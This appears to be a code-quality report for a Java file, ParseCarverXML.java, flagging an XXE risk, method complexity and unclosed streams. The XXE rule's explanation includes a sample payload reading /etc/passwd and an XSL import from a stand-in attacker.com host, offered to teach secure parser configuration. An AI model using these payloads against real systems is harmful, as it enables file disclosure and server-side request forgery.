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org.hsh.bfr.db/src/org/hsh/bfr/db/ParseCarverXML.java

Summary

Maintainability
A
2 hrs
Test Coverage

Disable access to external entities in XML parsing.
Open

            DocumentBuilder db = dbf.newDocumentBuilder();
Severity: Blocker
Found in org.hsh.bfr.db/src/org/hsh/bfr/db/ParseCarverXML.java by sonar-java

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

Method doIt has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.
Open

    private void doIt(Document doc) throws SAXException, IOException, ParserConfigurationException {
        int carverXMLIndex;
      
        NodeList nodeLst = doc.getElementsByTagName("ProcessElementNode");
            processNames = new String[nodeLst.getLength()];
Severity: Minor
Found in org.hsh.bfr.db/src/org/hsh/bfr/db/ParseCarverXML.java - About 1 hr to fix

Cognitive Complexity

Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

A method's cognitive complexity is based on a few simple rules:

  • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
  • Code is considered more complex for each "break in the linear flow of the code"
  • Code is considered more complex when "flow breaking structures are nested"

Further reading

Method doIt has 33 lines of code (exceeds 25 allowed). Consider refactoring.
Open

    private void doIt(Document doc) throws SAXException, IOException, ParserConfigurationException {
        int carverXMLIndex;
      
        NodeList nodeLst = doc.getElementsByTagName("ProcessElementNode");
            processNames = new String[nodeLst.getLength()];
Severity: Minor
Found in org.hsh.bfr.db/src/org/hsh/bfr/db/ParseCarverXML.java - About 1 hr to fix

Use try-with-resources or close this "BufferedReader" in a "finally" clause.
Open

        reader = new BufferedReader(new FileReader(filename));
Severity: Blocker
Found in org.hsh.bfr.db/src/org/hsh/bfr/db/ParseCarverXML.java by sonar-java

Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

Noncompliant Code Example

private void readTheFile() throws IOException {
  Path path = Paths.get(this.fileName);
  BufferedReader reader = Files.newBufferedReader(path, this.charset);
  // ...
  reader.close();  // Noncompliant
  // ...
  Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
}

private void doSomething() {
  OutputStream stream = null;
  try {
    for (String property : propertyList) {
      stream = new FileOutputStream("myfile.txt");  // Noncompliant
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();  // Multiple streams were opened. Only the last is closed.
  }
}

Compliant Solution

private void readTheFile(String fileName) throws IOException {
    Path path = Paths.get(fileName);
    try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
      reader.readLine();
      // ...
    }
    // ..
    try (Stream<String> input = Files.lines("input.txt"))  {
      input.forEach(System.out::println);
    }
}

private void doSomething() {
  OutputStream stream = null;
  try {
    stream = new FileOutputStream("myfile.txt");
    for (String property : propertyList) {
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();
  }
}

Exceptions

Instances of the following classes are ignored by this rule because close has no effect:

  • java.io.ByteArrayOutputStream
  • java.io.ByteArrayInputStream
  • java.io.CharArrayReader
  • java.io.CharArrayWriter
  • java.io.StringReader
  • java.io.StringWriter

Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule. 

try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
  //...
}
catch ( ... ) {
  //...
}

See

Use try-with-resources or close this "BufferedWriter" in a "finally" clause.
Open

         writer = new BufferedWriter(new FileWriter(newFile));
Severity: Blocker
Found in org.hsh.bfr.db/src/org/hsh/bfr/db/ParseCarverXML.java by sonar-java

Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

Noncompliant Code Example

private void readTheFile() throws IOException {
  Path path = Paths.get(this.fileName);
  BufferedReader reader = Files.newBufferedReader(path, this.charset);
  // ...
  reader.close();  // Noncompliant
  // ...
  Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
}

private void doSomething() {
  OutputStream stream = null;
  try {
    for (String property : propertyList) {
      stream = new FileOutputStream("myfile.txt");  // Noncompliant
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();  // Multiple streams were opened. Only the last is closed.
  }
}

Compliant Solution

private void readTheFile(String fileName) throws IOException {
    Path path = Paths.get(fileName);
    try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
      reader.readLine();
      // ...
    }
    // ..
    try (Stream<String> input = Files.lines("input.txt"))  {
      input.forEach(System.out::println);
    }
}

private void doSomething() {
  OutputStream stream = null;
  try {
    stream = new FileOutputStream("myfile.txt");
    for (String property : propertyList) {
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();
  }
}

Exceptions

Instances of the following classes are ignored by this rule because close has no effect:

  • java.io.ByteArrayOutputStream
  • java.io.ByteArrayInputStream
  • java.io.CharArrayReader
  • java.io.CharArrayWriter
  • java.io.StringReader
  • java.io.StringWriter

Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule. 

try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
  //...
}
catch ( ... ) {
  //...
}

See

There are no issues that match your filters.

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